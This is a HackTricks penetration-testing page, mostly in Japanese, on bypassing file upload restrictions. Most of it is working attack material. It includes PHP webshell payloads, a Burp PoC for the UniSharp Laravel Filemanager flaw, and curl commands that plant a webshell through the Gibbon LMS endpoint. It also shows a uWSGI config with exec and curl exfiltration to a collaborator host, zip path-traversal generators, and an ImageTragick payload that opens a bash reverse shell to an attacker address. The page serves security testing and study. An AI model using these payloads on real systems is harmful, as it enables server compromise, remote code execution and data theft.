31 KiB
Raw Blame History

ファイルアップロード

{{#include ../../banners/hacktricks-training.md}}

ファイルアップロード 一般的な方法論

Other useful extensions:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

ファイル拡張子チェックのバイパス

  1. 該当する場合は、前述の拡張子をチェックしてください。また大文字を使ってテストしてください: pHp, .pHP5, .PhAr ...
  2. 実行拡張子の前に有効な拡張子を追加することをチェックしてください(前述の拡張子も使用):
  • file.png.php
  • file.png.Php5
  1. 末尾に特殊文字を追加してみてください。Burpを使ってすべてのasciiUnicode文字をbruteforceすることができます。(注意: 前述の拡張子を使うことも試せます
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. サーバーサイドの拡張子パーサーを騙すtricking the extension parserことで保護をバイパスしてみてください。例えば拡張子を二重にするdoublingや拡張子の間にジャンクデータ(nullバイト)を入れるなどのテクニックです。より良いペイロードを作るために前述の拡張子を使うこともできます。
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. 前述のチェックにさらに別の拡張子レイヤーを追加してみてください:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. 実行用拡張子を有効な拡張子の前に置いて、サーバーが誤設定されていることを祈ってください。useful to exploit Apache misconfigurations where anything with extension** .php, but not necessarily ending in .php** will execute code):
  • ex: file.php.png
  1. NTFS alternate data stream (ADS)Windows で利用する方法。禁じられた拡張子の後、許可された拡張子の前にコロン文字 ":" が挿入されます。その結果、サーバー上に禁じられた拡張子の空ファイルが作成されます(例: "file.asax:.jpg”。このファイルはその後、short filename を使うなど別の手法で編集される可能性があります。"::$data” パターンを使って非空のファイルを作ることもできます。したがって、このパターンの後にドットを追加することも追加制限のバイパスに有効な場合があります(例: "file.asp::$data.”)
  2. ファイル名の上限を超えるようにしてみてください。有効な拡張子が切り捨てられ、悪意あるPHPが残る可能性があります。AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546

一部のupload handlerは保存時にファイル名の末尾ドットをトリムまたは正規化します。UniSharp の Laravel Filemanager (unisharp/laravel-filemanager) の 2.9.1 未満のバージョンでは、次のようにして拡張子検証をバイパスできます:

  • 有効な画像の MIME と magic header を使用する(例: PNG の \x89PNG\r\n\x1a\n)。
  • アップロードするファイル名を PHP 拡張子の後にドットを付けて命名する(例: shell.php.)。
  • サーバーが末尾のドットを削除して shell.php として保存し、public に公開されるディレクトリ(デフォルトの public storage 例: /storage/files/)に配置されれば実行されます。

Minimal PoC (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

次に保存されたパスにアクセスしますLaravel + LFMで一般的

GET /storage/files/0xdf.php?cmd=id

Mitigations:

  • unisharp/laravel-filemanager を ≥ 2.9.1 にアップグレードする。
  • サーバー側で厳格な allowlists を強制し、保存されたファイル名を再検証する。
  • アップロードは実行可能でない場所から配信する。

Bypass Content-Type, Magic Number, Compression & Resizing

  • Content-Type のチェックをバイパスするには、Content-Type headervalue を次のように設定する: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • magic number チェックは、ファイルの先頭に bytes of a real image を追加してバイパスできます(file コマンドを混乱させる)。あるいは metadata の中にシェルを挿入します:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ またはペイロードを直接画像にintroduceすることもできます:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • 画像に圧縮が適用されている場合(例えば PHP-GD のような標準的な PHP ライブラリを使用している場合)、前述の手法は有効ではありません。しかし、PLTE chunk を使用する technique defined here により、圧縮をsurvive compressionするテキストを挿入できます。
  • Github with the code
  • ウェブページが例えば PHP-GD の imagecopyresizedimagecopyresampled を使って画像を resizing している場合もあります。しかし、IDAT chunk を使う technique defined here により、圧縮をsurvive compressionするテキストを挿入できます。
  • Github with the code
  • 画像のリサイズを生き残るペイロードを作る別の手法として、PHP-GD の thumbnailImage を使う方法があります。ただし、tEXt chunk を使う technique defined here により、圧縮に耐えるテキストを挿入できます。
  • Github with the code

Other Tricks to check

  • 既にアップロードされたファイルの拡張子を変更するためにファイルを rename できる脆弱性を探す。
  • バックドアを実行するための Local File Inclusion 脆弱性を探す。
  • Possible Information disclosure:
  1. 同じファイルを複数回(かつ同時に)同じ名前でアップロードする。
  2. 既に存在するファイルフォルダ名前でファイルをアップロードする。
  3. 名前を ".", "..", または "…" にしたファイルをアップロードする。例えば、Apache on Windows でアプリケーションがアップロードを "/www/uploads/" ディレクトリに保存する場合、"." というファイル名は "/www/" ディレクトリに uploads” というファイルを作成します。
  4. NTFS 上で "…:.jpg" のように簡単に削除できないファイルをアップロードする。Windows
  5. Windows で名前に |<>*?” のような invalid characters を含むファイルをアップロードする。Windows
  6. Windows で CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 といった予約(禁止)名を使ってファイルをアップロードする。
  • 被害者が誤って開いたときにコードを実行する .exe や(より疑わしくない).html のアップロードも試す。

Special extension tricks

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

.phar ファイルは Java の .jar のようなもので、php 用であり、php として実行したりスクリプト内で include したりして used like a php file ことができます。

.inc 拡張子は、ファイルを import するためだけに使われる php ファイルに使われることがあり、結果としてこの拡張子が実行可能になることがあり得ます。

Jetty RCE

If you can upload a XML file into a Jetty server you can obtain RCE because **new .xml and .war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.

Remote Command Execution (RCE) 脆弱性は、.ini 設定ファイルを変更する能力がある場合に uWSGI サーバで悪用され得ます。uWSGI の設定ファイルは "magic" 変数、プレースホルダ、オペレータを組み込むための特定の構文を持ちます。特に '@' オペレータ(@(filename) として使われるはファイルの内容を取り込むよう設計されています。uWSGI がサポートする様々なスキームのうち、"exec" スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、.ini 設定ファイルが処理されるときに Remote Command Execution や Arbitrary File Write/Read のような悪意ある目的に悪用され得ます。

Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

ペイロードの実行は設定ファイルのパース時に発生します。設定を有効化してパースさせるには、uWSGI プロセスを再起動する必要があります(クラッシュ後や Denial of Service 攻撃による場合があり得ます)、またはファイルを auto-reload に設定する必要があります。auto-reload 機能が有効な場合、変更を検知すると指定間隔でファイルを再読み込みします。

uWSGI の設定ファイルのパースが緩い性質を理解することが重要です。具体的には、ここで扱う payload は image や PDF といった binary ファイルに挿入でき、悪用の範囲がさらに広がります。

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Gibbon LMS の認証不要のエンドポイントが web root 内への arbitrary file write を許し、PHP ファイルを配置することで pre-auth RCE に繋がります。脆弱なバージョン: 25.0.01 まで(含む)。

  • エンドポイント: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • メソッド: POST
  • 必須パラメータ:
  • img: data-URI のような文字列: [mime];[name],[base64] (サーバーは type/name を無視し、末尾を base64 デコードします)
  • path: Gibbon install dir からの相対の保存先ファイル名(例: poc.php または 0xdf.php
  • gibbonPersonID: 空でない任意の値が受け入れられます(例: 0000000001

ファイルを書き込み・読み取るための最小 PoC:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

最小限の webshell を設置してコマンドを実行する:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

注意事項:

  • ハンドラは ;, で分割した後に base64_decode($_POST["img"]) を実行し、拡張子/タイプの検証を行わずにバイト列を $absolutePath . '/' . $_POST['path'] に書き込みます。
  • 結果として実行されるコードは web サービスのユーザとして実行されます(例: XAMPP Apache on Windows

このバグに関する参考情報には usd HeroLab advisory と NVD のエントリが含まれます。下の References セクションを参照してください。

wget File Upload/SSRF Trick

場合によっては、サーバが wget を使って download files しており、あなたが URL を示すことができる場合があります。このようなケースでは、コードがダウンロードされるファイルの拡張子がホワイトリストに含まれているかをチェックし、許可されたファイルのみがダウンロードされるようにしているかもしれません。しかし、このチェックは回避可能です。
linux における filename の最大長は 255 ですが、wget はファイル名を 236 文字に切り詰めます。You can download a file called "A"*232+".php"+".gif", このファイル名はホワイトリストのチェックをバイパスします(この例では ".gif"valid な拡張子です)が、wget はファイル名を "A"232+".php"rename* します。

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

Note that another option you may be thinking of to bypass this check is to make the HTTPサーバ redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won't work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.

Tools

  • Upload Bypass は、Pentesters and Bug Hunters が file upload メカニズムをテストするのを支援するために設計された強力なツールです。さまざまな bug bounty テクニックを活用して脆弱性の発見と悪用を簡素化し、web applications の徹底的な評価を支援します。

Corrupting upload indices with snprintf quirks (historical)

一部のレガシーな upload ハンドラは、snprintf() や類似の関数を使って single-file upload から multi-file 配列を構築していますが、これらは _FILES 構造を偽造するように騙されることがあります。snprintf() の挙動における一貫性の欠如や切り捨てにより、巧妙に作られた single upload がサーバ側で複数のインデックス付きファイルとして見えることがあり、厳密な形状を想定しているロジック(例: multi-file upload として扱い、安全でない分岐に入る)が混乱します。今日ではニッチですが、この “index corruption” パターンは時折 CTFs や古いコードベースで再出現します。

From File upload to other vulnerabilities

Heres a top 10 list of things that you can achieve by uploading (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

{{#ref}} https://github.com/portswigger/upload-scanner {{#endref}}

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

その他のファイルタイプは https://en.wikipedia.org/wiki/List_of_file_signatures を参照してください。

Zip/Tar File Automatically decompressed Upload

もしサーバ内で展開される ZIP をアップロードできるなら、次の2つができます:

シンボリックリンク

他のファイルへのシンボリックリンクを含むリンクをアップロードすると、展開後にそのファイルにアクセスすることでリンク先のファイルにアクセスできます:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

異なるフォルダに解凍する

解凍中にディレクトリ内にファイルが予期せず作成される問題は重大です。当初、この構成が悪意のあるファイルアップロードによるOSレベルのコマンド実行を防ぐと考えられていても、ZIPアーカイブ形式の階層的な圧縮サポートとディレクトリトラバーサル機能が悪用され得ます。これにより攻撃者は制限を迂回し、ターゲットアプリケーションの解凍機能を操作してセキュアなアップロードディレクトリから脱出できます。

そのようなファイルを作成する自動化エクスプロイトはevilarc on GitHub。このユーティリティは次のように使用できます:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

さらに、symlink trick with evilarc はオプションです。目的が /flag.txt のようなファイルを狙うことであれば、そのファイルへのシンボリックリンクをシステムに作成しておくべきです。これにより、evilarc は動作中にエラーを起こさなくなります。

以下は、悪意のある zip ファイルを作成するために使われる Python のコード例です:

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

圧縮を悪用して file spraying を行う

詳細については 元の投稿を確認してください: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: コマンドを $_REQUEST 変数経由で受け取り実行する PHP コードが書かれている。
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: 複数のファイルを作成し、これらを含む zip アーカイブを作成する。
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: zip 内のファイル名を vi または hex editor で変更し、"xxA" を "../" に置換してディレクトリを横断する。
:set modifiable
:%s/xxA/../g
:x!

ImageTragic

この内容を画像の拡張子でアップロードすることで脆弱性を悪用できます (ImageMagick , 7.0.1-1)(詳細は exploit を参照)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PNGにPHP Shellを埋め込む

PNGファイルのIDATチャンクにPHP Shellを埋め込むことで、特定の画像処理操作を回避できることがあります。PHP-GDの関数 imagecopyresizedimagecopyresampled は、それぞれ画像のリサイズやリサンプリングに一般的に使われるため、この文脈で特に関連性があります。埋め込まれたPHP Shellがこれらの処理に影響されずに残ることは、特定のユースケースにおいて大きな利点です。

この手法の詳細な検討(方法論や潜在的な応用を含む)は、以下の記事で解説されています: "Encoding Web Shells in PNG IDAT chunks"。このリソースはプロセスとその影響を包括的に理解するのに役立ちます。

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Polyglot filesは、複数のファイル形式として同時に有効に存在できる“カメレオン”的なツールです。興味深い例としては、GIFとRARのハイブリッドであるGIFARがあります。こうしたファイルはこの組み合わせに限らず、GIFとJS、PPTとJSなどの組み合わせも可能です。

polyglot filesの主な有用性は、ファイルタイプに基づいてスクリーニングするセキュリティ対策を回避できる点にあります。多くのアプリケーションでは、潜在的に危険なフォーマットJS、PHP、Pharによるリスクを軽減するために、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロード許可するという運用が行われます。しかし、polyglotは複数のファイル形式の構造要件を満たすことで、これらの制限を巧妙に回避できます。

とはいえ、polyglotにも制約はあります。たとえば、PHARPHp ARchiveとJPEGを同時に兼ねるpolyglotがあったとしても、プラットフォームのファイル拡張子ポリシーによってはアップロードがブロックされる可能性があり、構造上の二重性だけではアップロードが保証されない場合があります。

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

PDFのふりをして有効なJSONをアップロードする方法

許可されていない場合でもPDFを偽装して有効なJSONファイルをアップロードすることでファイルタイプ検出を回避する方法this blog post の手法):

  • mmagic library: 最初の1024バイト以内に%PDFのマジックバイトがあれば有効と見なされます(例は記事参照)
  • pdflib library: JSONのフィールド内に偽のPDFフォーマットを追加して、ライブラリにPDFだと判断させます例は記事参照
  • file binary: ファイルから最大1048576バイトを読み取れます。これより大きなJSONを作成して内容をJSONとして解析できないようにし、そのJSON内に実際のPDFの先頭部分を入れておけば、fileはそれをPDFだと判断します

References

{{#include ../../banners/hacktricks-training.md}}